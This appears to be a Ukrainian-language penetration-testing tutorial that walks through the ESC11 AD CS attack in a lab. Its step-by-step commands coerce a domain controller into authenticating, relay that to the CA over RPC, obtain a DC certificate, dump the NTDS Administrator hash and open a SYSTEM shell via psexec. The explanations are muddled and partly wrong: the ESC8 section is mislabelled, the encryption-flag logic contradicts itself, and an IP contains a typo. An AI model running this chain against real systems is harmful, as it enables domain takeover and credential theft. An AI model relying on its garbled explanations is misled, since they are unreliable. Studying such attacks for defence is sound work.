ESC11 (Enterprise Security Control 11) представляє собою складний шлях атаки на службах сертифікації Active Directory (AD CS), що експлуатує небезпечне поєднання вразливостей. Ця просунута загроза безпеці використовує примусове виконання реєстрації сертифікатів лише через RPC, вразливості NTLM relay та техніки примусу (coercion), які змушують привілейовані машини, включаючи контролери домену, виконувати NTLM-автентифікацію. У результаті ESC11 відкриває двері для потенційного підвищення привілеїв та несанкціонованого доступу, що робить її критичною проблемою для організацій, які покладаються на AD CS для керування сертифікатами. Розуміння та мінімізація ризиків ESC11 є важливими для захисту середовищ Active Directory від цих складних загроз, що постійно еволюціонують.

Зміст

• Огляд атаки ESC11
• Ключові неправильні налаштування, що сприяють ESC11
• ESC8 проти ESC11 – чим відрізняються ці атаки
• Попередні умови
• Налаштування лабораторії
• Збір інформації та експлуатація
• Ланцюжок примусу та RPC Relay для зловживання сертифікатами контролера домену
• Постексплуатація
• Отримання повноцінної оболонки SYSTEM через Impacket PsExec
• Заходи захисту

Огляд атаки ESC11

ESC11 — це просунутий шлях атаки на AD CS, що поєднує в собі декілька небезпечних факторів. Він використовує примусову реєстрацію сертифікатів через RPC, можливості NTLM relay та техніки примусу для отримання NTLM-автентифікації від привілейованих машин, таких як контролери домену.

У відповідь на занепокоєння щодо безпеки рекомендує встановити специфічний прапорець реєстру на Центрах сертифікації для примусового шифрування запитів на сертифікати. Рекомендована команда:

certutil -setreg CA\InterfaceFlags -IF_ENFORCEENCRYPTICERTREQUEST

Це гарантує, що всі запити на сертифікати проходять через зашифрований RPC, а не через незахищені канали, такі як HTTP. Однак, як не парадоксально, саме ця конфігурація створює потенційну вразливість, оскільки вона відкриває шлях для ESC11, особливо коли RPC-ендпоінти залишаються вразливими до атак NTLM relay.

Ключові неправильні налаштування, що сприяють ESC11

• Увімкнено IF_ENFORCEENCRYPTICERTREQUEST: Примусово використовується реєстрація через RPC, що робить CA вразливим до атак relay через RPC.
• Опубліковано вразливі шаблони (наприклад, DomainController): Шаблони, які видають сертифікати, придатні для Kerberos-автентифікації.
• Незахищені RPC-ендпоінти CA: Відсутність підпису SMB, відсутність розширеного захисту для автентифікації (EPA) та відсутність захисту від NTLM relay.
• Відсутність моніторингу технік примусу (Coercion): Відсутність логування потоків примусової NTLM-автентифікації.

ESC8 проти ESC11 – чим відрізняються ці атаки

ESC11 — це складні шляхи атак на AD CS, що використовують різні вразливості в процесі реєстрації сертифікатів. Хоча обидві атаки застосовують техніки NTLM relay, вони суттєво відрізняються за методами, цілями та основними слабкостями.

ESC11:

• Ціль реєстрації: Web Enrollment через HTTP.
• Шлях автентифікації: NTLM relay поверх HTTP.
• Метод тригера: Використовує PetitPotam та HTTP relay.
• Фокус налаштувань CA: Експлуатує неправильні налаштування веб-інтерфейсів у параметрах Центру сертифікації.
• Експлуатовані шаблони: Переважно DomainController та User.

ESC11:

• Ціль реєстрації: RPC-інтерфейс CA.
• Шлях автентифікації: NTLM relay поверх RPC.
• Метод тригера: Використовує інструменти Coercer або NXC у поєднанні з RPC relay.
• Фокус налаштувань CA: Використовує вимогу зашифрованого RPC, зокрема параметр реєстру IF_ENFORCEENCRYPTICERTREQUEST.
• Експлуатовані шаблони: Переважно DomainController.

Примітка: Хоча організації можуть захиститися від ESC8, вимкнувши Web Enrollment або впровадивши зашифровані RPC-запити, ESC11 обходить ці заходи захисту. Замість зловживання HTTP, як у випадку з ESC8, ESC11 експлуатує видачу сертифікатів на основі RPC, обходячи встановлені заходи шифрування.

Для цього практичного керівництва ми припустимо наступні попередні умови мережевого середовища:

Попередні умови

• Windows Server 2019 як Active Directory з підтримкою PKINIT
• Служби сертифікації Active Directory та Центр сертифікації, налаштовані з увімкненим примусовим шифруванням RPC
• Kali Linux із необхідними інструментами
• Інструменти: NXC, Coercion, certipy-ad, Impacket-psexec

Налаштування лабораторії

Зауважте, що ми не будемо заглиблюватися в повний процес розгортання домену або ADCS, а зосередимося на техніці експлуатації ESC11, яка націлена на видачу сертифікатів через RPC.

Щоб симулювати захист від ESC8, на CA має бути ввімкнено примусове шифрування RPC. Це гарантує, що всі запити на сертифікати зашифровані, що вимагає використання RPC для реєстрації сертифікатів. Однак цей захід безпеки безпосередньо сприяє ESC11, дозволяючи зловмиснику перенаправити свою атаку з HTTP на RPC.

Увімкнення примусового шифрування RPC на CA

Щоб увімкнути це налаштування на CA, виконайте наступні команди:

certutil -setreg CA\InterfaceFlags -IF_ENFORCEENCRYPTICERTREQUEST

Це змушує всі запити на сертифікати до CA проходити через зашифровані канали RPC, що є необхідною умовою для запуску ESC11 через relay.

Примітка: Увімкнення шифрування RPC захищає запити на сертифікати, але водночас створює можливість для ESC11 експлуатувати той самий канал.

Збір інформації та експлуатація

RPC Relay для зловживання сертифікатами контролера домену

Тепер, коли ми ввімкнули примусове шифрування RPC на Центрі сертифікації (CA), почнемо процес виявлення вразливих шаблонів сертифікатів, якими можна зловживати. Зокрема, шаблон DomainController часто стає ціллю в ESC11, оскільки він дозволяє обліковим записам комп’ютерів запитувати сертифікати, що зрештою може сприяти підвищенню привілеїв або подальшим атакам на контролери домену.

Виявлення вразливих шаблонів сертифікатів

Щоб ідентифікувати вразливі шаблони сертифікатів, якими можна зловживати, з машини зловмисника (Kali) можна виконати наступну команду:

certipy-ad find -u 'raj@ignite.local' -p 'Password@1' -dc-ip 192.168.1.4 -vulnerable

Ця команда опитує Active Directory для пошуку шаблонів сертифікатів, які дозволяють запитувати сертифікати за умов, що уможливлюють експлуатацію реєстрації через RPC, зокрема зосереджуючись на шаблоні DomainController.

Давайте переглянемо збережений результат:

Як ми бачимо, шифрування не є обов’язковим для запитів ICPR (Encryption is not enforced for ICPR requests), що залишає потенційний вектор атаки для ESC11.

Запуск першого Relay на RPC-ендпоінт CA

Ми запускаємо першу спробу NTLM relay на RPC-ендпоінт CA, використовуючи наступну команду:

certipy-ad relay -target "rpc://192.168.1.10" -ca "ignite-DC2-CA" -template DomainController

На цьому етапі relay listener готовий і чекає на NTLM-автентифікацію від привілейованої машини. Коли автентифікація буде захоплена, вона буде передана на RPC-інтерфейс CA для реєстрації сертифіката за шаблоном DomainController.

Примус DC до автентифікації (тригер NTLM)

На цьому етапі нам потрібно змусити контролер домену (DC) за адресою 192.169.1.4 автентифікуватися на нашій контрольованій машині для ретрансляції за адресою 192.168.1.11. Ми робимо це за допомогою Coercer (або схожих інструментів, таких як PetitPotam чи NXC), щоб змусити DC надіслати свої NTLM-облікові дані на наш лістенер. Команда для запуску:

coercer coerce -l 192.168.1.11 -t 192.168.1.4 -d ignite.local -u raj -p Password@1

Це використовує Coercer, щоб змусити DC надіслати свої NTLM-облікові дані на наш лістенер. Цей NTLM-потік є критично важливим для автентифікації на CA від імені DC.

Повторний Relay для отримання сертифіката контролера домену

Після захоплення NTLM-автентифікації від контролера домену (DC), ми знову запускаємо relay для завершення процесу реєстрації сертифіката. Це робиться за допомогою наступної команди:

certipy-ad relay -target "rpc: //192.168.1.10" -ca "ignite-DC2-CA" -template DomainController

На цьому етапі Центр сертифікації (CA) видає сертифікат для облікового запису DC (наприклад, dc1$). Потім ми зберігаємо отриманий .pfx файл (наприклад, dc1.pfx), який містить приватні ключі. Ці ключі є важливими, оскільки вони дозволяють здійснювати Kerberos-автентифікацію як сам контролер домену.

Маючи .pfx файл, ми отримуємо повний доступ до приватних ключів контролера домену. Ці ключі дозволяють нам автентифікуватися як DC, використовуючи Kerberos, що може призвести до подальшого підвищення привілеїв та несанкціонованого доступу в межах домену.

Автентифікація як DC за допомогою захопленого сертифіката

Використовуйте викрадений сертифікат для автентифікації в AD від імені облікового запису машини DC:

certipy-ad auth -pfx dc1.pfx -dc-ip 192.168.1.4 -ldap-shell

Це забезпечує доступ до LDAP shell з привілеями рівня машини, що дає зловмиснику такі можливості, як DCSync, перерахування груп та вилучення секретів NTDS.

Вилучення хешу адміністратора через модуль NXC SMB

Тепер, коли ми маємо доступ рівня DC, вилучимо чутливі облікові дані:

nxc smb 192.168.1.4 --pfx-cert dc1.pfx -u "dc1$" --ntds --user Administrator

Це дампить файл NTDS.dit та NTLM-хеш адміністратора, що є фінальним кроком для повного домінування в домені.

Постексплуатація

Отримання повноцінної оболонки SYSTEM через Impacket PsExec

Нарешті, використайте хеш адміністратора для віддаленого виконання коду на контролері домену:

impacket-psexec ignite.local/administrator@ignite.local -hashes :64fbae31cc352fc26af97cbdef151e03

Це запускає повноцінну оболонку SYSTEM на DC, завершуючи ланцюжок експлуатації ESC11.

Заходи захисту

• Вимкніть або жорстко контролюйте параметр IF_ENFORCEENCRYPTICERTREQUEST.
• Обмежуйте можливості NTLM relay: впроваджуйте підпис SMB та захист NTLM.
• Встановлюйте патчі для відомих вразливостей примусу (зловживання PetitPotam, MS-RPRN, EFSRPC).
• Обмежуйте реєстрацію за шаблонами сертифікатів: обмежте доступ до високовартісних шаблонів, таких як DomainController.
• Моніторте незвичайну реєстрацію сертифікатів та активність RPC.